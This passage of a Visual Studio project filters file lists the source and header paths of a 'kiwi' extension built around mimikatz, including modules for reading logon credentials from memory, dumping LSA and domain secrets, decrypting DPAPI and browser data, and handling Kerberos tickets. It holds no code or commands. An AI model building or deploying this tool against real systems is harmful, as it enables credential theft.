</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_busylight.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_crypto.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_event.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_iis.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_kernel.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump_remote.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_minesweeper.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_misc.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_net.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_privilege.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_process.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi.c">
<Filter>local modules\dpapi</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi_oe.c">
<Filter>local modules\dpapi</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_wlan.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_chrome.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_creds.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_keys.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos.c">
<Filter>local modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ccache.c">
<Filter>local modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_pac.c">
<Filter>local modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ticket.c">
<Filter>local modules\kerberos</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c">
<Filter>local modules\sekurlsa</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.c">
<Filter>local modules\sekurlsa</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.c">
<Filter>local modules\sekurlsa\packages</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.c">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_output.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_patch.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_process.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_remotelib.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_service.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_string.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_token.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_xml.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sqlite3_omit.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_asn1.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_cred.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_dpapi.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_file.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_handle.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_kernel.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_key.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_memory.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_minidump.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_net.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_dpapi-entries.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_drsr.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-bkrp_c.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-credentialkeys.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-drsr_c.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-pac.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_bkrp.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\kiwi\main.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\mimikatz.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_service_remote.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sid.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_standard.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_sysenvvalue.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_token.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_ts.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_vault.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_busylight.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_crypto.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_event.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_iis.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_kernel.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_lsadump_remote.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_minesweeper.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_misc.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_net.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_privilege.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kuhl_m_process.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi.h">
<Filter>local modules\dpapi</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\kuhl_m_dpapi_oe.h">
<Filter>local modules\dpapi</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_wlan.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_chrome.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_creds.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\dpapi\packages\kuhl_m_dpapi_keys.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ticket.h">
<Filter>local modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos.h">
<Filter>local modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_ccache.h">
<Filter>local modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\kerberos\kuhl_m_kerberos_pac.h">
<Filter>local modules\kerberos</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa_utils.h">
<Filter>local modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\globals_sekurlsa.h">
<Filter>local modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.h">
<Filter>local modules\sekurlsa</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_livessp.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_msv1_0.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_ssp.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\packages\kuhl_m_sekurlsa_kerberos.h">
<Filter>local modules\sekurlsa\packages</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt63.h">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h">
<Filter>local modules\sekurlsa\crypto</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_output.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_patch.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_process.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_registry_structures.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_remotelib.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_samlib.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_service.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_string.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_token.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_xml.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\sqlite3_omit.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_asn1.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_busylight_hid.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_cred.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_crypto_system.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_dpapi.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_file.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_handle.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_kernel.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_key.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_memory.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_minidump.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kull_m_net.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_bkrp.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_dpapi-entries.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_drsr.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-bkrp.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-credentialkeys.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-drsr.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-pac.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">
<UniqueIdentifier>{70a8c17a-d755-40c8-87c1-45c63b9fcfb0}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\dpapi">
<UniqueIdentifier>{525fd227-31ab-4573-a1c2-e6abac9d2202}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\kerberos">
<UniqueIdentifier>{8fe81934-1787-4145-bc3a-09ab1980dc88}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\sekurlsa">
<UniqueIdentifier>{6f92170d-e827-4ac8-a216-640962facae2}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\dpapi\packages">
<UniqueIdentifier>{9543299e-b804-4e2a-8b3a-f04ec7c808f8}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\sekurlsa\crypto">
<UniqueIdentifier>{46dcccdf-42a1-46c4-bdca-9949dcc52271}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\sekurlsa\packages">
<UniqueIdentifier>{12e6a6fe-bae1-4efd-bc2f-ee5baacf2739}</UniqueIdentifier>
</Filter>
<Filter Include="common modules">
<UniqueIdentifier>{5afbe94c-7463-4e75-bf9c-38e3aaaeb29f}</UniqueIdentifier>
</Filter>
<Filter Include="common modules\rpc">
<UniqueIdentifier>{1bdf66f0-7f9d-4c90-969d-0fcb9f388dd7}</UniqueIdentifier>
</Filter>
</ItemGroup>
</Project>